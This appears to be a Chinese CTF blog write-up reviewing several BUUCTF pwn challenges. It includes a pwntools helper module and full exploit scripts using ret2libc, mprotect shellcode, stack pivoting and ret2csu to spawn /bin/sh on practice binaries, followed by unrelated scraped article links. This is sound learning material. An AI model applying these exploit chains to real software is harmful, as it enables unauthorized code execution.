buu第一页复盘
这里就对之前第一遍没写出来的题目再写一次wp
写在之前
贴一下我的模块文件
from pwn import *
from LibcSearcher import *
from struct import *
def debug(io):
gdb.attach(proc.pidof(io)[0])
pause()
def show_libc_base(libc_base):
print("-----------libc_base-------------")
print(hex(libc_base))
print("---------------------------------")
def csu_frame(csu_end_addr, csu_front_addr, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
rbx = 0
rbp = 0x1
csu_payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
csu_payload += p64(csu_front_addr)
csu_payload += b'a' * 0x38
csu_payload += p64(last)
sleep(1)
return csu_payload
def sigframe(fun, rdi, rsi, rdx, rsp, rip):
sigframe = SigreturnFrame()
if fun == 'read':
sigframe.rax = constants.SYS_read
if fun == 'execve':
sigframe.rax = constants.SYS_execve
sigframe.rdi = rdi
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
# rip 一般为 syscall 的地址
sigframe.rip = rip
return sigframe
def mprotect_frame(pop3ret, bss):
# the last three number of bss address must be 000
payload = flat(elf.symbols['mprotect'], pop3ret, bss, 0xff, 0x7, elf.symbols['gets'], bss, bss)
return payload
第七题 第五空间2019 决赛]PWN5
即格式化字符串的应用
从esp往下数(不包括esp),第十个即为第一个参数的地址
第十二题 get_started_3dsctf_2016
之前学长讲了一下这个的求偏移的方法,但是想了很久都没有理解,所以自己又想了一些通过动调获得偏移的方法
直接:
然后用python测试长度,并获得偏移
后面的就很简单了,是静态编译的并且存在后门函数
ps: 后来尝试用 brop 的方法试了一下,但是不知道什么原因爆破不出来,看来 brop 的方法我还需要用很多题目一起研究一下
第十五题 [OGeek2019]babyrop
主函数
惯例使用 ret2libc
1.泄露libc地址
1.然后直接就可以通了(卡住后一般动调一下就好了)
exp如下
from my_base_pwn import *
from my_brop import *
pwn = "./pwn"
context(log_level='debug')
context.terminal = ['tmux','splitw','-h']
context.binary = elf = ELF(pwn)
rop = ROP(context.binary)
if args['REMOTE']:
io = remote('127.0.0.1', 7777)
else:
io = process(pwn)
elf = ELF(pwn)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
# libc = ELF("./libc-2.23.so")
def debug():
gdb.attach(proc.pidof(io)[0])
pause()
main_addr = 0x08048825
pop3ret = 0x080488f9
payload1 = b'\x00'
payload1 += b'\xff' * 8
io.send(payload1)
io.recv()
# debug()
payload2 = cyclic(0xe7 + 4)
payload2 += flat(elf.symbols['write'], pop3ret, 1, elf.got['write'], 0x4, main_addr)
io.send(payload2)
write_add = u32(io.recv(4))
libc_base = write_add - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
binsh = libc_base + (next(libc.search(b'/bin/sh\x00')))
show_libc_base(libc_base)
payload3 = payload1
io.send(payload3)
io.recv()
payload4 = cyclic(0xe7 + 4)
payload4 += flat(system_addr, 0, binsh)
io.send(payload4)
io.interactive()
第十九题 not_the_same_3dsctf_2016
尝试使用 mprotect 解决问题
可以发现使用后出现 rwe 段了
from my_base_pwn import *
from my_brop import *
pwn = "./not_the_same_3dsctf_2016"
context(log_level='debug')
context.terminal = ['tmux','splitw','-h']
context.binary = elf = ELF(pwn)
rop = ROP(context.binary)
if args['REMOTE']:
io = remote('127.0.0.1', 7777)
else:
io = process(pwn)
elf = ELF(pwn)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
# libc = ELF("./libc-2.23.so")
def debug():
gdb.attach(proc.pidof(io)[0])
pause()
bss = 0x80ec000
# io.recv()
rop.raw(cyclic(0x2d))
rop.mprotect(bss,0xff,0x7)
rop.main()
payload1 = rop.chain()
io.sendline(payload1)
# debug()
sleep(0.1)
rop = ROP(pwn)
rop.raw(cyclic(0x2d))
rop.read(0, bss, 0xff)
rop.main()
payload2 = rop.chain()
io.sendline(payload2)
sleep(0.1)
payload3 = asm(shellcraft.sh())
io.sendline(payload3)
sleep(0.1)
payload4 = cyclic(0x2d)
payload4 += flat(bss)
io.sendline(payload4)
io.interactive()
然后就很轻松了。
ok,前几天学的东西确实可以极大的提高我的写题速度,不过也不能过于依赖这些东西,或者多想想这些代码背后的逻辑。
不过发现这几天一直在看pwntools源码还是很不错的。
第二十六题 ciscn_2019_es_2
无法直接进行栈溢出
发现可以泄露栈地址
调试后发现可以泄露
且多次调试后发现泄露出来的值与ebp此时的值有固定的偏移
思路出来了,先利用 vul 的 ret 进行栈迁移并构造rop链,再利用主函数的 ret 获取 shell
直接迁移到ebp的位置(迁移地址为泄露地址减10),根据崩溃时的位置和栈情况观察主函数返回地址的位置,我们发送 0x28 个垃圾字节
可以发现返回到了迁移后ebp返回地址的的前一个单位
存个疑问,一般不是在后面的一个地址吗
存在漏洞利用函数
但是发现 next(elf.search(b'sh\x00')) 一直报错,看样子这两个地方的字符串不能随意使用。所以打算自己写入一个 sh。
后来发现无法写入,然后打算直接写入栈
并且发现写入 elf.symbols['read'] 之前没法使用,动调时发现地址发生改变。
最终payload如下
from my_base_pwn import *
from my_brop import *
pwn = "./ciscn_2019_es_2"
context(log_level='debug')
context.terminal = ['tmux','splitw','-h']
context.binary = elf = ELF(pwn)
rop = ROP(context.binary)
if args['REMOTE']:
io = remote('127.0.0.1', 7777)
else:
io = process(pwn)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
# libc = ELF("./libc-2.23.so")
def debug():
gdb.attach(proc.pidof(io)[0])
pause()
pop3ret = 0x08048699
bss = 0x804b800
leave_ret = 0x08048562
# debug()
io.recvline()
payload1 = cyclic(0x24)
io.send(payload1)
io.recv(0x27)
add1 = u32(io.recv(4))
add2 = u32(io.recv(4))
add3 = u32(io.recv(4))
log.success('add3 ' + str(hex(add3)))
# log.success('add2 ' + str(hex(add2)))
aim_migrate = add3 - 0x10 -0x28
# debug()
payload2 = flat(b'aaaa', elf.symbols['system'], b'aaaa', aim_migrate + 16, b'/bin/sh\x00')
payload2 = payload2.ljust(0x28,b'a')
payload2 += flat(aim_migrate, leave_ret)
io.send(payload2)
io.recvuntil(b'ello,')
io.interactive()
同时探讨了一下 rop.migrate() 的作用
发现它是利用 return addr 进行迁移的,所以比通常的迁移要多出一个单位数据。
第三十一题 ciscn_2019_s_3
一个是远程的csu相关偏移不同,还有就是本地的偏移寻找有一定难度
我的脚本:
from my_base_pwn import *
from my_brop import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux','splitw','-h']
def debug():
gdb.attach(proc.pidof(io)[0])
pause()
pwn = "./ciscn_s_3"
io = process(pwn)
# io = remote("node5.buuoj.cn", 27488)
elf = ELF(pwn)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("./libc-2.23.so")
csu_end = 0x000000000040059A
csu_front = 0x0000000000400580
rax_ini = 0x00000000004004e2
syscall = 0x0000000000400501
vul_func = 0x00000000004004ED
rdi = 0x00000000004005a3
rsi_r15 = 0x00000000004005a1
ret = 0x00000000004003a9
payload1 = cyclic(0x10)
payload1 += flat(vul_func)
# debug()
io.sendline(payload1)
# debug()
io.recv(0x20)
# test_addr = u64(io.recv(6).ljust(8,b'\x00'))
# io.recv(0x10 - 6)
# print(hex(test_addr))
buf_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(buf_addr))
# debug()
debug()
binsh = buf_addr - 0x148
# 远程是下面这个 -0x118
# binsh = buf_addr - 0x118
payload2 = b'/bin/sh\x00' + cyclic(0x8)
payload2 += csu_frame(csu_end, csu_front, binsh + 0x98, 0, 0, 0, rdi)
payload2 += flat(binsh, rax_ini, ret, syscall)
io.sendline(payload2)
io.interactive()
使用ret2csu的时候,需要注意以下偏移的问题
可以发现该脚本泄露出的地址减去 0x148 即为程序写入的地址
检验了一下
同时注意一下 r12 应该传入的数值为一个内容可被再次解析的地址,假如我 0x7ffc0dfa7ea8 保存的是 0x400304 ,且 0x400304 的地址是可执行的汇编代码,然后把 0x7ffc0dfa7ea8 传入才不会报错(这段的数字都是我自己造的)
然后可以计算一下偏移,直接利用代码进行计算就行
有些疑惑就先存着吧,以后转回来看看
buu第一页复盘的更多相关文章
- 论Top与ROW_NUMBER读取第一页的效率问题
10.29 前一段时间研究关于分页的问题,由于数据库属于百万级的,考虑了关于优化方面的问题.其中一个考虑是:第一页展现的频率肯定是最高的,所以我想第一页就使用Top N来读取. 这个想法本身是没有错, ...
- INNO 补丁制作技术, 打开 INNO 补丁制作方法的第一页
INNO 补丁制作技术, 打开 INNO 补丁制作方法的第一页 作者:xin 日期:2005-09-23 字体大小: 小 中 大 VPatch 在 INNO 中的应用. VPatch 属于专为NS ...
- python使用get在百度搜索并保存第一页搜索结果
python使用get在百度搜索并保存第一页搜索结果 作者:vpoet mail:vpoet_sir@163.com 注:随意copy,不用在意我的感受 #coding:utf-8 import ur ...
- ViewPagerWithImageDemo【ViewPager如何判断滑动到第一页和最后一页以及弹出对话框功能】
版权声明:本文为HaiyuKing原创文章,转载请注明出处! 前言 记录viewpager滑动的时候弹出对话框的功能(关键功能是滑动弹出对话框后,隐藏对话框的时候当前页可以还原到原位置),顺便判断首页 ...
- php分页数据最后一页继续追加第一页数据
之前做数据分页遇到这样一个需求,就是数据到最后一页的时候不能中断,继续把第一页的数据追加到后面,无限显示下去. 原文地址:代码汇个人博客 http://www.codehui.net/info/23. ...
- bootstrapTable刷新当前页码不变和从第一页开始查询
function searchAgencyProject(){ $("#statisticalProjectListTable").bootstrapTable('refresh' ...
- word2003设置页码不从第一页开始的方法
问题描述:如果你想设置页码从第三四页开始,前边不要页码,或者前边的页码是不同类型的.那么这个时候就要用到:插入->分隔符模式. 如果你的页面中的各个标题是从样式和格式中选择的,既是你先设置好各种 ...
- Word中摘要和正文同时分栏后,正文跑到下一页,怎么办?或Word分栏后第一页明明有空位后面的文字却自动跳到第二页了,怎么办?
问题1:Word中摘要和正文同时分栏后,正文跑到下一页,怎么办?或Word分栏后第一页明明有空位后面的文字却自动跳到第二页了,怎么办? 答:在word2010中,菜单栏中最左侧选“文件”->“选 ...
- BZOJ第一页刷题计划
BZOJ第一页刷题计划 已完成:67 / 90 [BZOJ1000]A+B Problem:A+B: [BZOJ1001][BeiJing2006]狼抓兔子:最小割: [BZOJ1002][FJOI2 ...
- Word 2007 如何设置正文第一页----目录显示正文从第一页开始
最近学校里开始要求写论文了,其中有个目录中的页码都不是从第一页开始的,毕竟前面还有封面.中英文摘要.目录等,所以正文内容就不是从第一页开始的了,但是很多的书上所有正文都是从第一页开始的,我的论文如何才 ...
随机推荐
- 【学习笔记】Python 环境隔离
目录 前言 venv venv 环境管理 venv 包管理 virtualenv 以及 virtualenvwrapper 安装 virtualenvwrapper 环境管理 virtualenvwr ...
- .NET Core开发实战(第4课:Startup:掌握ASP.NET Core的启动过程)--学习笔记
04 | Startup:掌握ASP.NET Core的启动过程 新建一个 ASP.NET Core Web 应用程序 选择 API public class Program { public sta ...
- TCP和UDP面试题提问
@ 目录 TCP UDP 总结 应用 TCP(传输控制协议)和UDP(用户数据报协议)是两种计算机网络通信协议,它们在网络通信中起着不同的作用. TCP TCP 是面向连接的协议,它在数据传输之前需要 ...
- NC53370 Forsaken的三维数点
题目链接 题目 题目描述 Forsaken现在在一个三维空间中,空间中每个点都可以用 \((x,y,z)\) 表示.突然,三维空间的主人出现了,如果Forsaken想要继续在三维空间中呆下去,他就 ...
- NC24608 [USACO 2011 Ope S]Learning Languages
题目链接 题目 题目描述 Farmer John's N (2 <= N <= 10,000) cows, conveniently numbered 1..N, are fluent i ...
- Java网络编程之使用URL类
Lesson: Working with URLs 使用URLs 整理自Oracle官方文档. URL is the acronym for Uniform Resource Locator. URL ...
- 如何处理Long类型精度丢失问题?
一.现象与分析: 1.1. 现象 前后端交互,当后端传一些值给前端的时候,如果是long类型,有可能会出现数字太大而前端接收不了(java中的long大于js的number)而导致数据不一致,精度会丢 ...
- MPG线程模型简介
概述 go语言中的MPG线程模型对两级线程模型进行了一定程度的改进,使它能够更加灵活的进行线程之间的调度. 它由3个主要模块构成,如下图: MPG的3个主要模块以及功能,我们通过下表所示. 模块 功能 ...
- SQL Server 连接数据库报错 (ObjectExplorer)
报错信息 无法访问数据库 ReportServer. (ObjectExplorer) 具体错误信息: 程序位置: 在 Microsoft.SqlServer.Management.UI.VSInte ...
- 【Azure APIM】解决APIM Self-hosted Gateway在AKS上,最开始访问时候遇见的404问题
问题描述 根据APIM官方文档,创建Self-hosted 网关在AKS中( 使用 YAML 将自承载网关部署到 Kubernetes :https://docs.azure.cn/zh-cn/api ...